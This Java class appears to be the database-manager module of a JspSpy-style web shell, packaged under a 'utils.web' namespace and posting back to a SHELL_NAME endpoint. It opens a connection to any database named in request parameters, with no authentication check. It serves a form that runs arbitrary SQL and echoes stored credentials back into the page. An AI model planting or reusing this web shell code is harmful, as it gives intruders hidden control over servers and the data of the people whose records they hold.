package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.DBOperator;
import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

//DBConnect
public class DbcInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String driver = request.getParameter("driver");
            String url = request.getParameter("url");
            String uid = request.getParameter("uid");
            String pwd = request.getParameter("pwd");
            String sql = request.getParameter("sql");
            String selectDb = request.getParameter("selectDb");
            if (selectDb == null)
                selectDb = session.getAttribute("selectDb").toString();
            else
                session.setAttribute("selectDb", selectDb);
            Object dbo = session.getAttribute(DBO);
            if (dbo == null || !((DBOperator) dbo).isValid()) {
                if (dbo != null)
                    ((DBOperator) dbo).close();
                dbo = new DBOperator(driver, url, uid, pwd, true);
            } else {
                if (!Utils.isEmpty(driver) && !Utils.isEmpty(url) && !Utils.isEmpty(uid)) {
                    DBOperator oldDbo = (DBOperator) dbo;
                    dbo = new DBOperator(driver, url, uid, pwd);
                    if (!oldDbo.equals(dbo)) {
                        ((DBOperator) oldDbo).close();
                        ((DBOperator) dbo).connect();
                    } else {
                        dbo = oldDbo;
                    }
                }
            }
            DBOperator Ddbo = (DBOperator) dbo;
            session.setAttribute(DBO, Ddbo);
            Utils.outMsg(out, "Connect To DataBase Success!");
            out.println("  <script type=\"text/javascript\">" +
                    "	function changeurldriver(selectDb){" +
                    "		var form = document.forms[\"form1\"];" +
                    "		if (selectDb){" +
                    "			form.elements[\"db\"].selectedIndex = selectDb" +
                    "		}" +
                    "		var v = form.elements[\"db\"].value;" +
                    "		form.elements[\"url\"].value = v.split(\"`\")[1];" +
                    "		form.elements[\"driver\"].value = v.split(\"`\")[0];" +
                    "		form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;" +
                    "	}" +
                    "  </script>");
            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                    "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                    "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"" + selectDb + "\">" +
                    "<h2>DataBase Manager &raquo;</h2>" +
                    "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />" +
                    "<p>" +
                    "Driver:" +
                    "  <input class=\"input\" name=\"driver\" value=\"" + Ddbo.getDriver() + "\" id=\"driver\" type=\"text\" size=\"35\"  />" +
                    "URL:" +
                    "<input class=\"input\" name=\"url\" value=\"" + Ddbo.getUrl() + "\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />" +
                    "UID:" +
                    "<input class=\"input\" name=\"uid\" value=\"" + Ddbo.getUid() + "\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />" +
                    "PWD:" +
                    "<input class=\"input\" name=\"pwd\" value=\"" + Ddbo.getPwd() + "\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />" +
                    "DataBase:" +
                    " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >" +
                    " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>" +
                    " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>" +
                    " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>" +
                    " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>" +
                    " <option value=' ` '>Other</option>" +
                    " </select>" +
                    "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />" +
                    "</p>" +
                    "</form><script>changeurldriver('" + selectDb + "')</script>");
            out.println("<form action=\"" + SHELL_NAME + "\" method=\"POST\">" +
                    "<p><input type=\"hidden\" name=\"selectDb\" value=\"" + selectDb + "\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Run SQL query/queries on database :</td></tr><tr><td><textarea name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">" +
                    Utils.htmlEncode(Utils.getStr(sql)) + "</textarea></td><td style=\"padding:0 5px;\"><input class=\"bt\" style=\"height:50px;\" name=\"submit\" type=\"submit\" value=\"Query\" /></td></tr></table></p></form></table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}